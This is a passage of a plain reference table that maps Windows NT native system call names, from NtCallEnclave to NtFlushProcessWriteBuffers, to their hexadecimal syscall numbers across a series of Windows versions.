59 58 NtCallEnclave 0x008e 0x008f 0x008f 0x008f 0x008f 0x0091 0x0091 0x0091 0x0091 0x0091 0x0091 0x0091 0x0091 0x0091 0x0092 0x0093 0x0093
60 59 NtCallbackReturn 0x0005 0x0005 0x0005 0x0005 0x0005 0x0005 0x0005 0x0005 0x0005 0x0005 0x0005 0x0005 0x0005 0x0005 0x0005 0x0005 0x0005 0x0005 0x0005 0x0005 0x0005
61 60 NtCancelDeviceWakeupRequest
62 61 NtCancelIoFile 0x005d 0x005d 0x005d 0x005d 0x005d 0x005d 0x005d 0x005d 0x005d 0x005d 0x005d 0x005d 0x005d 0x005d 0x005d 0x005d 0x005d 0x005d 0x005d 0x005d 0x005d
63 62 NtCancelIoFileEx 0x008d 0x008d 0x008d 0x008e 0x008f 0x0090 0x0090 0x0090 0x0090 0x0092 0x0092 0x0092 0x0092 0x0092 0x0092 0x0092 0x0092 0x0092 0x0093 0x0094 0x0094
64 63 NtCancelSynchronousIoFile 0x008e 0x008e 0x008e 0x008f 0x0090 0x0091 0x0091 0x0091 0x0091 0x0093 0x0093 0x0093 0x0093 0x0093 0x0093 0x0093 0x0093 0x0093 0x0094 0x0095 0x0095
65 64 NtCancelTimer 0x0061 0x0061 0x0061 0x0061 0x0061 0x0061 0x0061 0x0061 0x0061 0x0061 0x0061 0x0061 0x0061 0x0061 0x0061 0x0061 0x0061 0x0061 0x0061 0x0061 0x0061
66 65 NtCancelTimer2 0x008f 0x008f 0x008f 0x0090 0x0091 0x0092 0x0092 0x0092 0x0092 0x0094 0x0094 0x0094 0x0094 0x0094 0x0094 0x0094 0x0094 0x0094 0x0095 0x0096 0x0096
67 66 NtCancelWaitCompletionPacket 0x0090 0x0090 0x0090 0x0091 0x0092 0x0093 0x0093 0x0093 0x0093 0x0095 0x0095 0x0095 0x0095 0x0095 0x0095 0x0095 0x0095 0x0095 0x0096 0x0097 0x0097
68 67 NtChangeProcessState 0x0096 0x0096 0x0096 0x0096 0x0097 0x0098 0x0098
69 68 NtChangeThreadState 0x0097 0x0097 0x0097 0x0097 0x0098 0x0099 0x0099
70 69 NtClearAllSavepointsTransaction
71 70 NtClearEvent 0x003e 0x003e 0x003e 0x003e 0x003e 0x003e 0x003e 0x003e 0x003e 0x003e 0x003e 0x003e 0x003e 0x003e 0x003e 0x003e 0x003e 0x003e 0x003e 0x003e 0x003e
72 71 NtClearSavepointTransaction
73 72 NtClose 0x000f 0x000f 0x000f 0x000f 0x000f 0x000f 0x000f 0x000f 0x000f 0x000f 0x000f 0x000f 0x000f 0x000f 0x000f 0x000f 0x000f 0x000f 0x000f 0x000f 0x000f
74 73 NtCloseObjectAuditAlarm 0x003b 0x003b 0x003b 0x003b 0x003b 0x003b 0x003b 0x003b 0x003b 0x003b 0x003b 0x003b 0x003b 0x003b 0x003b 0x003b 0x003b 0x003b 0x003b 0x003b 0x003b
75 74 NtCommitComplete 0x0091 0x0091 0x0091 0x0092 0x0093 0x0094 0x0094 0x0094 0x0094 0x0096 0x0096 0x0096 0x0096 0x0096 0x0098 0x0098 0x0098 0x0098 0x0099 0x009a 0x009a
76 75 NtCommitEnlistment 0x0092 0x0092 0x0092 0x0093 0x0094 0x0095 0x0095 0x0095 0x0095 0x0097 0x0097 0x0097 0x0097 0x0097 0x0099 0x0099 0x0099 0x0099 0x009a 0x009b 0x009b
77 76 NtCommitRegistryTransaction 0x0093 0x0094 0x0095 0x0096 0x0096 0x0096 0x0096 0x0098 0x0098 0x0098 0x0098 0x0098 0x009a 0x009a 0x009a 0x009a 0x009b 0x009c 0x009c
78 77 NtCommitTransaction 0x0093 0x0093 0x0094 0x0095 0x0096 0x0097 0x0097 0x0097 0x0097 0x0099 0x0099 0x0099 0x0099 0x0099 0x009b 0x009b 0x009b 0x009b 0x009c 0x009d 0x009d
79 78 NtCompactKeys 0x0094 0x0094 0x0095 0x0096 0x0097 0x0098 0x0098 0x0098 0x0098 0x009a 0x009a 0x009a 0x009a 0x009a 0x009c 0x009c 0x009c 0x009c 0x009d 0x009e 0x009e
80 79 NtCompareObjects 0x0095 0x0095 0x0096 0x0097 0x0098 0x0099 0x0099 0x0099 0x0099 0x009b 0x009b 0x009b 0x009b 0x009b 0x009d 0x009d 0x009d 0x009d 0x009e 0x009f 0x009f
81 80 NtCompareSigningLevels 0x0098 0x0099 0x009a 0x009a 0x009a 0x009a 0x009c 0x009c 0x009c 0x009c 0x009c 0x009e 0x009e 0x009e 0x009e 0x009f 0x00a0 0x00a0
82 81 NtCompareTokens 0x0096 0x0096 0x0097 0x0099 0x009a 0x009b 0x009b 0x009b 0x009b 0x009d 0x009d 0x009d 0x009d 0x009d 0x009f 0x009f 0x009f 0x009f 0x00a0 0x00a1 0x00a1
83 82 NtCompleteConnectPort 0x0097 0x0097 0x0098 0x009a 0x009b 0x009c 0x009c 0x009c 0x009c 0x009e 0x009e 0x009e 0x009e 0x009e 0x00a0 0x00a0 0x00a0 0x00a0 0x00a1 0x00a2 0x00a2
84 83 NtCompressKey 0x0098 0x0098 0x0099 0x009b 0x009c 0x009d 0x009d 0x009d 0x009d 0x009f 0x009f 0x009f 0x009f 0x009f 0x00a1 0x00a1 0x00a1 0x00a1 0x00a2 0x00a3 0x00a3
85 84 NtConnectPort 0x0099 0x0099 0x009a 0x009c 0x009d 0x009e 0x009e 0x009e 0x009e 0x00a0 0x00a0 0x00a0 0x00a0 0x00a0 0x00a2 0x00a2 0x00a2 0x00a2 0x00a3 0x00a4 0x00a4
86 85 NtContinue 0x0043 0x0043 0x0043 0x0043 0x0043 0x0043 0x0043 0x0043 0x0043 0x0043 0x0043 0x0043 0x0043 0x0043 0x0043 0x0043 0x0043 0x0043 0x0043 0x0043 0x0043
87 86 NtContinueEx 0x00a1 0x00a1 0x00a1 0x00a1 0x00a1 0x00a3 0x00a3 0x00a3 0x00a3 0x00a4 0x00a5 0x00a5
88 87 NtConvertBetweenAuxiliaryCounterAndPerformanceCounter 0x009d 0x009e 0x009f 0x009f 0x009f 0x009f 0x00a2 0x00a2 0x00a2 0x00a2 0x00a2 0x00a4 0x00a4 0x00a4 0x00a4 0x00a5 0x00a6 0x00a6
89 88 NtCopyFileChunk 0x00a3 0x00a3 0x00a5 0x00a5 0x00a5 0x00a5 0x00a6 0x00a7 0x00a7
90 89 NtCreateCpuPartition 0x00a6 0x00a6 0x00a7 0x00a8 0x00a8
91 90 NtCreateCrossVmEvent 0x00a0 0x00a0 0x00a3 0x00a3 0x00a3 0x00a4 0x00a4 0x00a6 0x00a6 0x00a7 0x00a7 0x00a8 0x00a9 0x00a9
92 91 NtCreateCrossVmMutant 0x00a4 0x00a4 0x00a4 0x00a5 0x00a5 0x00a7 0x00a7 0x00a8 0x00a8 0x00a9 0x00aa 0x00aa
93 92 NtCreateDebugObject 0x009a 0x009a 0x009b 0x009e 0x009f 0x00a0 0x00a0 0x00a1 0x00a1 0x00a5 0x00a5 0x00a5 0x00a6 0x00a6 0x00a8 0x00a8 0x00a9 0x00a9 0x00aa 0x00ab 0x00ab
94 93 NtCreateDirectoryObject 0x009b 0x009b 0x009c 0x009f 0x00a0 0x00a1 0x00a1 0x00a2 0x00a2 0x00a6 0x00a6 0x00a6 0x00a7 0x00a7 0x00a9 0x00a9 0x00aa 0x00aa 0x00ab 0x00ac 0x00ac
95 94 NtCreateDirectoryObjectEx 0x009c 0x009c 0x009d 0x00a0 0x00a1 0x00a2 0x00a2 0x00a3 0x00a3 0x00a7 0x00a7 0x00a7 0x00a8 0x00a8 0x00aa 0x00aa 0x00ab 0x00ab 0x00ac 0x00ad 0x00ad
96 95 NtCreateEnclave 0x009d 0x009e 0x00a1 0x00a2 0x00a3 0x00a3 0x00a4 0x00a4 0x00a8 0x00a8 0x00a8 0x00a9 0x00a9 0x00ab 0x00ab 0x00ac 0x00ac 0x00ad 0x00ae 0x00ae
97 96 NtCreateEnlistment 0x009d 0x009e 0x009f 0x00a2 0x00a3 0x00a4 0x00a4 0x00a5 0x00a5 0x00a9 0x00a9 0x00a9 0x00aa 0x00aa 0x00ac 0x00ac 0x00ad 0x00ad 0x00ae 0x00af 0x00af
98 97 NtCreateEvent 0x0048 0x0048 0x0048 0x0048 0x0048 0x0048 0x0048 0x0048 0x0048 0x0048 0x0048 0x0048 0x0048 0x0048 0x0048 0x0048 0x0048 0x0048 0x0048 0x0048 0x0048
99 98 NtCreateEventPair 0x009e 0x009f 0x00a0 0x00a3 0x00a4 0x00a5 0x00a5 0x00a6 0x00a6 0x00aa 0x00aa 0x00aa 0x00ab 0x00ab 0x00ad 0x00ad 0x00ae 0x00ae 0x00af 0x00b0 0x00b0
100 99 NtCreateFile 0x0055 0x0055 0x0055 0x0055 0x0055 0x0055 0x0055 0x0055 0x0055 0x0055 0x0055 0x0055 0x0055 0x0055 0x0055 0x0055 0x0055 0x0055 0x0055 0x0055 0x0055
101 100 NtCreateIRTimer 0x009f 0x00a0 0x00a1 0x00a4 0x00a5 0x00a6 0x00a6 0x00a7 0x00a7 0x00ab 0x00ab 0x00ab 0x00ac 0x00ac 0x00ae 0x00ae 0x00af 0x00af 0x00b0 0x00b1 0x00b1
102 101 NtCreateIoCompletion 0x00a0 0x00a1 0x00a2 0x00a5 0x00a6 0x00a7 0x00a7 0x00a8 0x00a8 0x00ac 0x00ac 0x00ac 0x00ad 0x00ad 0x00af 0x00af 0x00b0 0x00b0 0x00b1 0x00b2 0x00b2
103 102 NtCreateIoRing 0x00b0 0x00b1 0x00b1 0x00b2 0x00b3 0x00b3
104 103 NtCreateJobObject 0x00a1 0x00a2 0x00a3 0x00a6 0x00a7 0x00a8 0x00a8 0x00a9 0x00a9 0x00ad 0x00ad 0x00ad 0x00ae 0x00ae 0x00b0 0x00b1 0x00b2 0x00b2 0x00b3 0x00b4 0x00b4
105 104 NtCreateJobSet 0x00a2 0x00a3 0x00a4 0x00a7 0x00a8 0x00a9 0x00a9 0x00aa 0x00aa 0x00ae 0x00ae 0x00ae 0x00af 0x00af 0x00b1 0x00b2 0x00b3 0x00b3 0x00b4 0x00b5 0x00b5
106 105 NtCreateKey 0x001d 0x001d 0x001d 0x001d 0x001d 0x001d 0x001d 0x001d 0x001d 0x001d 0x001d 0x001d 0x001d 0x001d 0x001d 0x001d 0x001d 0x001d 0x001d 0x001d 0x001d
107 106 NtCreateKeyTransacted 0x00a3 0x00a4 0x00a5 0x00a8 0x00a9 0x00aa 0x00aa 0x00ab 0x00ab 0x00af 0x00af 0x00af 0x00b0 0x00b0 0x00b2 0x00b3 0x00b4 0x00b4 0x00b5 0x00b6 0x00b6
108 107 NtCreateKeyedEvent 0x00a4 0x00a5 0x00a6 0x00a9 0x00aa 0x00ab 0x00ab 0x00ac 0x00ac 0x00b0 0x00b0 0x00b0 0x00b1 0x00b1 0x00b3 0x00b4 0x00b5 0x00b5 0x00b6 0x00b7 0x00b7
109 108 NtCreateLowBoxToken 0x00a5 0x00a6 0x00a7 0x00aa 0x00ab 0x00ac 0x00ac 0x00ad 0x00ad 0x00b1 0x00b1 0x00b1 0x00b2 0x00b2 0x00b4 0x00b5 0x00b6 0x00b6 0x00b7 0x00b8 0x00b8
110 109 NtCreateMailslotFile 0x00a6 0x00a7 0x00a8 0x00ab 0x00ac 0x00ad 0x00ad 0x00ae 0x00ae 0x00b2 0x00b2 0x00b2 0x00b3 0x00b3 0x00b5 0x00b6 0x00b7 0x00b7 0x00b8 0x00b9 0x00b9
111 110 NtCreateMutant 0x00a7 0x00a8 0x00a9 0x00ac 0x00ad 0x00ae 0x00ae 0x00af 0x00af 0x00b3 0x00b3 0x00b3 0x00b4 0x00b4 0x00b6 0x00b7 0x00b8 0x00b8 0x00b9 0x00ba 0x00ba
112 111 NtCreateNamedPipeFile 0x00a8 0x00a9 0x00aa 0x00ad 0x00ae 0x00af 0x00af 0x00b0 0x00b0 0x00b4 0x00b4 0x00b4 0x00b5 0x00b5 0x00b7 0x00b8 0x00b9 0x00b9 0x00ba 0x00bb 0x00bb
113 112 NtCreatePagingFile 0x00a9 0x00aa 0x00ab 0x00ae 0x00af 0x00b0 0x00b0 0x00b1 0x00b1 0x00b5 0x00b5 0x00b5 0x00b6 0x00b6 0x00b8 0x00b9 0x00ba 0x00ba 0x00bb 0x00bc 0x00bc
114 113 NtCreatePartition 0x00aa 0x00ab 0x00ac 0x00af 0x00b0 0x00b1 0x00b1 0x00b2 0x00b2 0x00b6 0x00b6 0x00b6 0x00b7 0x00b7 0x00b9 0x00ba 0x00bb 0x00bb 0x00bc 0x00bd 0x00bd
115 114 NtCreatePort 0x00ab 0x00ac 0x00ad 0x00b0 0x00b1 0x00b2 0x00b2 0x00b3 0x00b3 0x00b7 0x00b7 0x00b7 0x00b8 0x00b8 0x00ba 0x00bb 0x00bc 0x00bc 0x00bd 0x00be 0x00be
116 115 NtCreatePrivateNamespace 0x00ac 0x00ad 0x00ae 0x00b1 0x00b2 0x00b3 0x00b3 0x00b4 0x00b4 0x00b8 0x00b8 0x00b8 0x00b9 0x00b9 0x00bb 0x00bc 0x00bd 0x00bd 0x00be 0x00bf 0x00bf
117 116 NtCreateProcess 0x00ad 0x00ae 0x00af 0x00b2 0x00b3 0x00b4 0x00b4 0x00b5 0x00b5 0x00b9 0x00b9 0x00b9 0x00ba 0x00ba 0x00bc 0x00bd 0x00be 0x00be 0x00bf 0x00c0 0x00c0
118 117 NtCreateProcessEx 0x004d 0x004d 0x004d 0x004d 0x004d 0x004d 0x004d 0x004d 0x004d 0x004d 0x004d 0x004d 0x004d 0x004d 0x004d 0x004d 0x004d 0x004d 0x004d 0x004d 0x004d
119 118 NtCreateProcessStateChange 0x00bd 0x00be 0x00bf 0x00bf 0x00c0 0x00c1 0x00c1
120 119 NtCreateProfile 0x00ae 0x00af 0x00b0 0x00b3 0x00b4 0x00b5 0x00b5 0x00b6 0x00b6 0x00ba 0x00ba 0x00ba 0x00bb 0x00bb 0x00be 0x00bf 0x00c0 0x00c0 0x00c1 0x00c2 0x00c2
121 120 NtCreateProfileEx 0x00af 0x00b0 0x00b1 0x00b4 0x00b5 0x00b6 0x00b6 0x00b7 0x00b7 0x00bb 0x00bb 0x00bb 0x00bc 0x00bc 0x00bf 0x00c0 0x00c1 0x00c1 0x00c2 0x00c3 0x00c3
122 121 NtCreateRegistryTransaction 0x00b2 0x00b5 0x00b6 0x00b7 0x00b7 0x00b8 0x00b8 0x00bc 0x00bc 0x00bc 0x00bd 0x00bd 0x00c0 0x00c1 0x00c2 0x00c2 0x00c3 0x00c4 0x00c4
123 122 NtCreateResourceManager 0x00b0 0x00b1 0x00b3 0x00b6 0x00b7 0x00b8 0x00b8 0x00b9 0x00b9 0x00bd 0x00bd 0x00bd 0x00be 0x00be 0x00c1 0x00c2 0x00c3 0x00c3 0x00c4 0x00c5 0x00c5
124 123 NtCreateSection 0x004a 0x004a 0x004a 0x004a 0x004a 0x004a 0x004a 0x004a 0x004a 0x004a 0x004a 0x004a 0x004a 0x004a 0x004a 0x004a 0x004a 0x004a 0x004a 0x004a 0x004a
125 124 NtCreateSectionEx 0x00b9 0x00ba 0x00ba 0x00be 0x00be 0x00be 0x00bf 0x00bf 0x00c2 0x00c3 0x00c4 0x00c4 0x00c5 0x00c6 0x00c6
126 125 NtCreateSemaphore 0x00b1 0x00b2 0x00b4 0x00b7 0x00b8 0x00b9 0x00ba 0x00bb 0x00bb 0x00bf 0x00bf 0x00bf 0x00c0 0x00c0 0x00c3 0x00c4 0x00c5 0x00c5 0x00c6 0x00c7 0x00c7
127 126 NtCreateSymbolicLinkObject 0x00b2 0x00b3 0x00b5 0x00b8 0x00b9 0x00ba 0x00bb 0x00bc 0x00bc 0x00c0 0x00c0 0x00c0 0x00c1 0x00c1 0x00c4 0x00c5 0x00c6 0x00c6 0x00c7 0x00c8 0x00c8
128 127 NtCreateThread 0x004e 0x004e 0x004e 0x004e 0x004e 0x004e 0x004e 0x004e 0x004e 0x004e 0x004e 0x004e 0x004e 0x004e 0x004e 0x004e 0x004e 0x004e 0x004e 0x004e 0x004e
129 128 NtCreateThreadEx 0x00b3 0x00b4 0x00b6 0x00b9 0x00ba 0x00bb 0x00bc 0x00bd 0x00bd 0x00c1 0x00c1 0x00c1 0x00c2 0x00c2 0x00c5 0x00c6 0x00c7 0x00c7 0x00c8 0x00c9 0x00c9
130 129 NtCreateThreadStateChange 0x00c6 0x00c7 0x00c8 0x00c8 0x00c9 0x00ca 0x00ca
131 130 NtCreateTimer 0x00b4 0x00b5 0x00b7 0x00ba 0x00bb 0x00bc 0x00bd 0x00be 0x00be 0x00c2 0x00c2 0x00c2 0x00c3 0x00c3 0x00c7 0x00c8 0x00c9 0x00c9 0x00ca 0x00cb 0x00cb
132 131 NtCreateTimer2 0x00b5 0x00b6 0x00b8 0x00bb 0x00bc 0x00bd 0x00be 0x00bf 0x00bf 0x00c3 0x00c3 0x00c3 0x00c4 0x00c4 0x00c8 0x00c9 0x00ca 0x00ca 0x00cb 0x00cc 0x00cc
133 132 NtCreateToken 0x00b6 0x00b7 0x00b9 0x00bc 0x00bd 0x00be 0x00bf 0x00c0 0x00c0 0x00c4 0x00c4 0x00c4 0x00c5 0x00c5 0x00c9 0x00ca 0x00cb 0x00cb 0x00cc 0x00cd 0x00cd
134 133 NtCreateTokenEx 0x00b7 0x00b8 0x00ba 0x00bd 0x00be 0x00bf 0x00c0 0x00c1 0x00c1 0x00c5 0x00c5 0x00c5 0x00c6 0x00c6 0x00ca 0x00cb 0x00cc 0x00cc 0x00cd 0x00ce 0x00ce
135 134 NtCreateTransaction 0x00b8 0x00b9 0x00bb 0x00be 0x00bf 0x00c0 0x00c1 0x00c2 0x00c2 0x00c6 0x00c6 0x00c6 0x00c7 0x00c7 0x00cb 0x00cc 0x00cd 0x00cd 0x00ce 0x00cf 0x00cf
136 135 NtCreateTransactionManager 0x00b9 0x00ba 0x00bc 0x00bf 0x00c0 0x00c1 0x00c2 0x00c3 0x00c3 0x00c7 0x00c7 0x00c7 0x00c8 0x00c8 0x00cc 0x00cd 0x00ce 0x00ce 0x00cf 0x00d0 0x00d0
137 136 NtCreateUserProcess 0x00ba 0x00bb 0x00bd 0x00c0 0x00c1 0x00c2 0x00c3 0x00c4 0x00c4 0x00c8 0x00c8 0x00c8 0x00c9 0x00c9 0x00cd 0x00ce 0x00cf 0x00cf 0x00d0 0x00d1 0x00d1
138 137 NtCreateWaitCompletionPacket 0x00bb 0x00bc 0x00be 0x00c1 0x00c2 0x00c3 0x00c4 0x00c5 0x00c5 0x00c9 0x00c9 0x00c9 0x00ca 0x00ca 0x00ce 0x00cf 0x00d0 0x00d0 0x00d1 0x00d2 0x00d2
139 138 NtCreateWaitablePort 0x00bc 0x00bd 0x00bf 0x00c2 0x00c3 0x00c4 0x00c5 0x00c6 0x00c6 0x00ca 0x00ca 0x00ca 0x00cb 0x00cb 0x00cf 0x00d0 0x00d1 0x00d1 0x00d2 0x00d3 0x00d3
140 139 NtCreateWnfStateName 0x00bd 0x00be 0x00c0 0x00c3 0x00c4 0x00c5 0x00c6 0x00c7 0x00c7 0x00cb 0x00cb 0x00cb 0x00cc 0x00cc 0x00d0 0x00d1 0x00d2 0x00d2 0x00d3 0x00d4 0x00d4
141 140 NtCreateWorkerFactory 0x00be 0x00bf 0x00c1 0x00c4 0x00c5 0x00c6 0x00c7 0x00c8 0x00c8 0x00cc 0x00cc 0x00cc 0x00cd 0x00cd 0x00d1 0x00d2 0x00d3 0x00d3 0x00d4 0x00d5 0x00d5
142 141 NtDebugActiveProcess 0x00bf 0x00c0 0x00c2 0x00c5 0x00c6 0x00c7 0x00c8 0x00c9 0x00c9 0x00cd 0x00cd 0x00cd 0x00ce 0x00ce 0x00d2 0x00d3 0x00d4 0x00d4 0x00d5 0x00d6 0x00d6
143 142 NtDebugContinue 0x00c0 0x00c1 0x00c3 0x00c6 0x00c7 0x00c8 0x00c9 0x00ca 0x00ca 0x00ce 0x00ce 0x00ce 0x00cf 0x00cf 0x00d3 0x00d4 0x00d5 0x00d5 0x00d6 0x00d7 0x00d7
144 143 NtDelayExecution 0x0034 0x0034 0x0034 0x0034 0x0034 0x0034 0x0034 0x0034 0x0034 0x0034 0x0034 0x0034 0x0034 0x0034 0x0034 0x0034 0x0034 0x0034 0x0034 0x0034 0x0034
145 144 NtDeleteAtom 0x00c1 0x00c2 0x00c4 0x00c7 0x00c8 0x00c9 0x00ca 0x00cb 0x00cb 0x00cf 0x00cf 0x00cf 0x00d0 0x00d0 0x00d4 0x00d5 0x00d6 0x00d6 0x00d7 0x00d8 0x00d8
146 145 NtDeleteBootEntry 0x00c2 0x00c3 0x00c5 0x00c8 0x00c9 0x00ca 0x00cb 0x00cc 0x00cc 0x00d0 0x00d0 0x00d0 0x00d1 0x00d1 0x00d5 0x00d6 0x00d7 0x00d7 0x00d8 0x00d9 0x00d9
147 146 NtDeleteDriverEntry 0x00c3 0x00c4 0x00c6 0x00c9 0x00ca 0x00cb 0x00cc 0x00cd 0x00cd 0x00d1 0x00d1 0x00d1 0x00d2 0x00d2 0x00d6 0x00d7 0x00d8 0x00d8 0x00d9 0x00da 0x00da
148 147 NtDeleteFile 0x00c4 0x00c5 0x00c7 0x00ca 0x00cb 0x00cc 0x00cd 0x00ce 0x00ce 0x00d2 0x00d2 0x00d2 0x00d3 0x00d3 0x00d7 0x00d8 0x00d9 0x00d9 0x00da 0x00db 0x00db
149 148 NtDeleteKey 0x00c5 0x00c6 0x00c8 0x00cb 0x00cc 0x00cd 0x00ce 0x00cf 0x00cf 0x00d3 0x00d3 0x00d3 0x00d4 0x00d4 0x00d8 0x00d9 0x00da 0x00da 0x00db 0x00dc 0x00dc
150 149 NtDeleteObjectAuditAlarm 0x00c6 0x00c7 0x00c9 0x00cc 0x00cd 0x00ce 0x00cf 0x00d0 0x00d0 0x00d4 0x00d4 0x00d4 0x00d5 0x00d5 0x00d9 0x00da 0x00db 0x00db 0x00dc 0x00dd 0x00dd
151 150 NtDeletePrivateNamespace 0x00c7 0x00c8 0x00ca 0x00cd 0x00ce 0x00cf 0x00d0 0x00d1 0x00d1 0x00d5 0x00d5 0x00d5 0x00d6 0x00d6 0x00da 0x00db 0x00dc 0x00dc 0x00dd 0x00de 0x00de
152 151 NtDeleteValueKey 0x00c8 0x00c9 0x00cb 0x00ce 0x00cf 0x00d0 0x00d1 0x00d2 0x00d2 0x00d6 0x00d6 0x00d6 0x00d7 0x00d7 0x00db 0x00dc 0x00dd 0x00dd 0x00de 0x00df 0x00df
153 152 NtDeleteWnfStateData 0x00c9 0x00ca 0x00cc 0x00cf 0x00d0 0x00d1 0x00d2 0x00d3 0x00d3 0x00d7 0x00d7 0x00d7 0x00d8 0x00d8 0x00dc 0x00dd 0x00de 0x00de 0x00df 0x00e0 0x00e0
154 153 NtDeleteWnfStateName 0x00ca 0x00cb 0x00cd 0x00d0 0x00d1 0x00d2 0x00d3 0x00d4 0x00d4 0x00d8 0x00d8 0x00d8 0x00d9 0x00d9 0x00dd 0x00de 0x00df 0x00df 0x00e0 0x00e1 0x00e1
155 154 NtDeviceIoControlFile 0x0007 0x0007 0x0007 0x0007 0x0007 0x0007 0x0007 0x0007 0x0007 0x0007 0x0007 0x0007 0x0007 0x0007 0x0007 0x0007 0x0007 0x0007 0x0007 0x0007 0x0007
156 155 NtDirectGraphicsCall 0x00d9 0x00d9 0x00d9 0x00da 0x00da 0x00de 0x00df 0x00e0 0x00e0 0x00e1 0x00e2 0x00e2
157 156 NtDisableLastKnownGood 0x00cb 0x00cc 0x00ce 0x00d1 0x00d2 0x00d3 0x00d4 0x00d5 0x00d5 0x00da 0x00da 0x00da 0x00db 0x00db 0x00df 0x00e0 0x00e1 0x00e1 0x00e2 0x00e3 0x00e3
158 157 NtDisplayString 0x00cc 0x00cd 0x00cf 0x00d2 0x00d3 0x00d4 0x00d5 0x00d6 0x00d6 0x00db 0x00db 0x00db 0x00dc 0x00dc 0x00e0 0x00e1 0x00e2 0x00e2 0x00e3 0x00e4 0x00e4
159 158 NtDrawText 0x00cd 0x00ce 0x00d0 0x00d3 0x00d4 0x00d5 0x00d6 0x00d7 0x00d7 0x00dc 0x00dc 0x00dc 0x00dd 0x00dd 0x00e1 0x00e2 0x00e3 0x00e3 0x00e4 0x00e5 0x00e5
160 159 NtDuplicateObject 0x003c 0x003c 0x003c 0x003c 0x003c 0x003c 0x003c 0x003c 0x003c 0x003c 0x003c 0x003c 0x003c 0x003c 0x003c 0x003c 0x003c 0x003c 0x003c 0x003c 0x003c
161 160 NtDuplicateToken 0x0042 0x0042 0x0042 0x0042 0x0042 0x0042 0x0042 0x0042 0x0042 0x0042 0x0042 0x0042 0x0042 0x0042 0x0042 0x0042 0x0042 0x0042 0x0042 0x0042 0x0042
162 161 NtEnableLastKnownGood 0x00ce 0x00cf 0x00d1 0x00d4 0x00d5 0x00d6 0x00d7 0x00d8 0x00d8 0x00dd 0x00dd 0x00dd 0x00de 0x00de 0x00e2 0x00e3 0x00e4 0x00e4 0x00e5 0x00e6 0x00e6
163 162 NtEnumerateBootEntries 0x00cf 0x00d0 0x00d2 0x00d5 0x00d6 0x00d7 0x00d8 0x00d9 0x00d9 0x00de 0x00de 0x00de 0x00df 0x00df 0x00e3 0x00e4 0x00e5 0x00e5 0x00e6 0x00e7 0x00e7
164 163 NtEnumerateDriverEntries 0x00d0 0x00d1 0x00d3 0x00d6 0x00d7 0x00d8 0x00d9 0x00da 0x00da 0x00df 0x00df 0x00df 0x00e0 0x00e0 0x00e4 0x00e5 0x00e6 0x00e6 0x00e7 0x00e8 0x00e8
165 164 NtEnumerateKey 0x0032 0x0032 0x0032 0x0032 0x0032 0x0032 0x0032 0x0032 0x0032 0x0032 0x0032 0x0032 0x0032 0x0032 0x0032 0x0032 0x0032 0x0032 0x0032 0x0032 0x0032
166 165 NtEnumerateSystemEnvironmentValuesEx 0x00d1 0x00d2 0x00d4 0x00d7 0x00d8 0x00d9 0x00da 0x00db 0x00db 0x00e0 0x00e0 0x00e0 0x00e1 0x00e1 0x00e5 0x00e6 0x00e7 0x00e7 0x00e8 0x00e9 0x00e9
167 166 NtEnumerateTransactionObject 0x00d2 0x00d3 0x00d5 0x00d8 0x00d9 0x00da 0x00db 0x00dc 0x00dc 0x00e1 0x00e1 0x00e1 0x00e2 0x00e2 0x00e6 0x00e7 0x00e8 0x00e8 0x00e9 0x00ea 0x00ea
168 167 NtEnumerateValueKey 0x0013 0x0013 0x0013 0x0013 0x0013 0x0013 0x0013 0x0013 0x0013 0x0013 0x0013 0x0013 0x0013 0x0013 0x0013 0x0013 0x0013 0x0013 0x0013 0x0013 0x0013
169 168 NtExtendSection 0x00d3 0x00d4 0x00d6 0x00d9 0x00da 0x00db 0x00dc 0x00dd 0x00dd 0x00e2 0x00e2 0x00e2 0x00e3 0x00e3 0x00e7 0x00e8 0x00e9 0x00e9 0x00ea 0x00eb 0x00eb
170 169 NtFilterBootOption 0x00d4 0x00d5 0x00d7 0x00da 0x00db 0x00dc 0x00dd 0x00de 0x00de 0x00e3 0x00e3 0x00e3 0x00e4 0x00e4 0x00e8 0x00e9 0x00ea 0x00ea 0x00eb 0x00ec 0x00ec
171 170 NtFilterToken 0x00d5 0x00d6 0x00d8 0x00db 0x00dc 0x00dd 0x00de 0x00df 0x00df 0x00e4 0x00e4 0x00e4 0x00e5 0x00e5 0x00e9 0x00ea 0x00eb 0x00eb 0x00ec 0x00ed 0x00ed
172 171 NtFilterTokenEx 0x00d6 0x00d7 0x00d9 0x00dc 0x00dd 0x00de 0x00df 0x00e0 0x00e0 0x00e5 0x00e5 0x00e5 0x00e6 0x00e6 0x00ea 0x00eb 0x00ec 0x00ec 0x00ed 0x00ee 0x00ee
173 172 NtFindAtom 0x0014 0x0014 0x0014 0x0014 0x0014 0x0014 0x0014 0x0014 0x0014 0x0014 0x0014 0x0014 0x0014 0x0014 0x0014 0x0014 0x0014 0x0014 0x0014 0x0014 0x0014
174 173 NtFlushBuffersFile 0x004b 0x004b 0x004b 0x004b 0x004b 0x004b 0x004b 0x004b 0x004b 0x004b 0x004b 0x004b 0x004b 0x004b 0x004b 0x004b 0x004b 0x004b 0x004b 0x004b 0x004b
175 174 NtFlushBuffersFileEx 0x00d7 0x00d8 0x00da 0x00dd 0x00de 0x00df 0x00e0 0x00e1 0x00e1 0x00e6 0x00e6 0x00e6 0x00e7 0x00e7 0x00eb 0x00ec 0x00ed 0x00ed 0x00ee 0x00ef 0x00ef
176 175 NtFlushInstallUILanguage 0x00d8 0x00d9 0x00db 0x00de 0x00df 0x00e0 0x00e1 0x00e2 0x00e2 0x00e7 0x00e7 0x00e7 0x00e8 0x00e8 0x00ec 0x00ed 0x00ee 0x00ee 0x00ef 0x00f0 0x00f0
177 176 NtFlushInstructionCache 0x00d9 0x00da 0x00dc 0x00df 0x00e0 0x00e1 0x00e2 0x00e3 0x00e3 0x00e8 0x00e8 0x00e8 0x00e9 0x00e9 0x00ed 0x00ee 0x00ef 0x00ef 0x00f0 0x00f1 0x00f1
178 177 NtFlushKey 0x00da 0x00db 0x00dd 0x00e0 0x00e1 0x00e2 0x00e3 0x00e4 0x00e4 0x00e9 0x00e9 0x00e9 0x00ea 0x00ea 0x00ee 0x00ef 0x00f0 0x00f0 0x00f1 0x00f2 0x00f2
179 178 NtFlushProcessWriteBuffers 0x00db 0x00dc 0x00de 0x00e1 0x00e2 0x00e3 0x00e4 0x00e5 0x00e5 0x00ea 0x00ea 0x00ea 0x00eb 0x00eb 0x00ef 0x00f0 0x00f1 0x00f1 0x00f2 0x00f3 0x00f3
